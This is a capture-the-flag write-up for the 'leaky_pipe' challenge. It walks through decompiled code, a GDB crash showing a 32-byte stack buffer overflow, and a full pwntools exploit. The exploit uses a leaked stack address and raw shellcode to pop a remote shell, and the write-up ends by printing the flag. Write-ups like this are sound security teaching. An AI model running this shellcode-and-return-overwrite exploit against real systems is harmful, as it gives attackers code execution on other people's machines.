We were given a binary.
file leaky_pipe
leaky_pipe: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=87689ef50fdd96e017be4819a94fe97f3bac65ce, for GNU/Linux 3.2.0, not stripped
We first run it to see what it does
We have just fixed the plumbing systm, let's hope there's no leaks!
>.> aaaaah shiiit wtf is dat address doin here... 0x7fffb50a6c80
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault ./leaky_pipe
It seems like a buffer overflow because there is a segmentation fault. Moreover there is also a interesting memory address of the stack pointer (SP). Let's look it into ghidra.
undefined8 main(void)
{
basic_ostream *pbVar1;
basic_ostream<char,std::char_traits<char>> *this;
ssize_t sVar2;
undefined8 uVar3;
undefined local_28 [32];
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
pbVar1 = std::operator<<((basic_ostream *)std::cout,
"We have just fixed the plumbing systm, let\'s hope there\'s no leaks!");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar1,
std::endl<char,std::char_traits<char>>);
pbVar1 = std::operator<<((basic_ostream *)std::cout,
">.> aaaaah shiiit wtf is dat address doin here... ");
this = (basic_ostream<char,std::char_traits<char>> *)
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar1,local_28);
std::basic_ostream<char,std::char_traits<char>>::operator<<
(this,std::endl<char,std::char_traits<char>>);
sVar2 = read(0,local_28,0x40);
if (sVar2 < 5) {
pbVar1 = std::operator<<((basic_ostream *)std::cout,"no smol input plz");
std::basic_ostream<char,std::char_traits<char>>::operator<<
((basic_ostream<char,std::char_traits<char>> *)pbVar1,
std::endl<char,std::char_traits<char>>);
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
This is the main funtion
We can see that there is an array of 32 elements local_28 [32]
that can take an input of some data read(0,local_28,0x40);
Now it's time to use this array to overflow and overwrite the rbp register.
Let's look it into GDB.
We have just fixed the plumbing systm, let's hope there's no leaks!
>.> aaaaah shiiit wtf is dat address doin here... 0x7fffffffe010
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000555555555295 in main ()
(gdb) info registers
rax 0x0 0
rbx 0x0 0
rcx 0x7ffff7bb3e2e 140737349631534
rdx 0x40 64
rsi 0x7fffffffe010 140737488347152
rdi 0x0 0
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffe038 0x7fffffffe038
r8 0x0 0
r9 0x7fffffffde00 140737488346624
r10 0xfffffffffffff286 -3450
r11 0x246 582
r12 0x5555555550a0 93824992235680
r13 0x0 0
r14 0x0 0
r15 0x0 0
rip 0x555555555295 0x555555555295 <main+252>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
We see that the RBP register is overwritten with the hex value 41 that means "A" as we given in input and the RIP register now points at 0x555555555295
with offset <main+252>
Now we have analyzed the binary. Let's go to write the exploit.
First we need to calculate the offset that is 32 bytes + 8 bytes to overflow the RBP register. We need also a shell code that will pop up the shell.
This is the exploit that I create
# https://ctf.0xl4ugh.com/
# Import pwntools
from pwn import *
# Establish the target process
elf = ELF("leaky_pipe")
r = remote("ctf.0xl4ugh.com", 4141)
offset = 40
r.recvuntil(">.> aaaaah shiiit wtf is dat address doin here...")
leak = int(r.recvline().strip(), 16)
print(hex(leak))
# Prepare the shellcode
shellcode = asm(shellcraft.sh())
# Make the payload
payload = b""
# This shellcode is originally from: http://shell-storm.org/shellcode/files/shellcode-603.php
# This shellcode will pop a shell when we run it
payload += b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
# Padding to the return address
payload += b"A" * (40 - len(payload))
# Overwrite the return address with the address of the start of our input
payload += p64(leak)
# Send the payload, drop to an interactive shell to use the shell we pop
r.send(payload)
r.interactive()
# flag --> Oxl4ugh{waaaah_yaboooooy_kol_daaa_shellcode}
Task Resolved, written by FeeeDz